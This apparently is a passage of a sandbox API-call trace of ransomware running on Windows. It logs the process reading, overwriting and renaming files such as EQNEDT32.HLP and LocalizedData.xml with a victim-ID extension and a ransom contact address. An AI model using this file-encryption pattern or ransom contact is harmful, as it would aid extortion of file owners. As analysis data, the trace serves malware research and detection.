[0264.585] WriteFile (in: hFile=0x6a0, lpBuffer=0x71e558*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e558*, lpNumberOfBytesWritten=0x65fff0c*=0x7e0, lpOverlapped=0x0) returned 1 [0264.586] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.586] WriteFile (in: hFile=0x6a0, lpBuffer=0x71ed37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed37*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.586] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.586] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.586] CloseHandle (hObject=0x6a0) returned 1 [0265.386] GetProcessHeap () returned 0x630000 [0265.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e558 | out: hHeap=0x630000) returned 1 [0265.394] GetProcessHeap () returned 0x630000 [0265.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef9cf8 | out: hHeap=0x630000) returned 1 [0265.394] GetProcessHeap () returned 0x630000 [0265.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0265.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a6ff61, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x9707496, dwReserved1=0x6ef9cf0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e00 [0265.394] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0265.395] Sleep (dwMilliseconds=0x1) [0267.326] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", len=0x67 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 1 [0267.326] GetProcessHeap () returned 0x630000 [0267.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b7c) returned 0x6fe3bb0 [0267.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0267.327] CloseHandle (hObject=0x3f8) returned 1 [0267.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.hlp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.329] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~1.FIR")) returned 0x6d5040 [0267.329] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0267.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.hlp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0267.329] GetProcessHeap () returned 0x630000 [0267.329] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7598e88 [0267.330] GetProcessHeap () returned 0x630000 [0267.330] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75a42b8 [0267.330] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.330] ReadFile (in: hFile=0x3f8, lpBuffer=0x7598e88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7598e88*, lpNumberOfBytesRead=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.421] GetProcessHeap () returned 0x630000 [0273.421] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0273.421] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.421] WriteFile (in: hFile=0x3f8, lpBuffer=0x75a42b8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x75a42b8*, lpNumberOfBytesWritten=0x65fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.422] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.422] WriteFile (in: hFile=0x3f8, lpBuffer=0x75af6b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x75af6b7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0275.608] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.608] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0275.608] CloseHandle (hObject=0x3f8) returned 1 [0275.608] GetProcessHeap () returned 0x630000 [0275.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75a42b8 | out: hHeap=0x630000) returned 1 [0275.608] GetProcessHeap () returned 0x630000 [0275.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7598e88 | out: hHeap=0x630000) returned 1 [0275.609] GetProcessHeap () returned 0x630000 [0275.609] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0275.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb92ab57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb92ab57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a39c593, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b0db, dwReserved0=0x9707496, dwReserved1=0x7598e80, cFileName="EQNEDT32.HLP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~1.FIR")) returned 0x6d53c0 [0275.609] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0275.609] Sleep (dwMilliseconds=0x1) Thread: id = 85 os_tid = 0x1288 [0067.705] Sleep (dwMilliseconds=0x1) [0067.823] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.427] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.722] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.754] Sleep (dwMilliseconds=0x1) [0076.780] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.995] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.450] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.896] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.980] Sleep (dwMilliseconds=0x1) [0079.001] Sleep (dwMilliseconds=0x1) [0079.033] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.609] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.674] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.235] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.341] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.701] Sleep (dwMilliseconds=0x1) [0080.725] Sleep (dwMilliseconds=0x1) [0080.762] Sleep (dwMilliseconds=0x1) [0080.790] Sleep (dwMilliseconds=0x1) [0080.802] Sleep (dwMilliseconds=0x1) [0080.822] Sleep (dwMilliseconds=0x1) [0080.833] Sleep (dwMilliseconds=0x1) [0080.850] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.897] Sleep (dwMilliseconds=0x1) [0080.913] Sleep (dwMilliseconds=0x1) [0080.927] Sleep (dwMilliseconds=0x1) [0080.937] Sleep (dwMilliseconds=0x1) [0080.962] Sleep (dwMilliseconds=0x1) [0080.973] Sleep (dwMilliseconds=0x1) [0080.994] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.031] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.520] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.584] Sleep (dwMilliseconds=0x1) [0081.597] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.626] Sleep (dwMilliseconds=0x1) [0081.667] Sleep (dwMilliseconds=0x1) [0081.680] Sleep (dwMilliseconds=0x1) [0081.694] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.760] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.792] Sleep (dwMilliseconds=0x1) [0081.830] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.883] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.346] Sleep (dwMilliseconds=0x1) [0084.735] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.121] Sleep (dwMilliseconds=0x1) [0085.182] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.388] Sleep (dwMilliseconds=0x1) [0085.738] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.896] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.486] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", len=0x2c | out: pbstr=0x673ff7c*="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 1 [0088.486] GetProcessHeap () returned 0x630000 [0088.486] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b02b8 [0088.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0088.487] CloseHandle (hObject=0x6a4) returned 1 [0088.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.487] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.886] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5580 [0088.886] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0088.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0088.886] GetProcessHeap () returned 0x630000 [0088.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fc0048 [0088.887] GetProcessHeap () returned 0x630000 [0088.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fcb478 [0088.888] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, 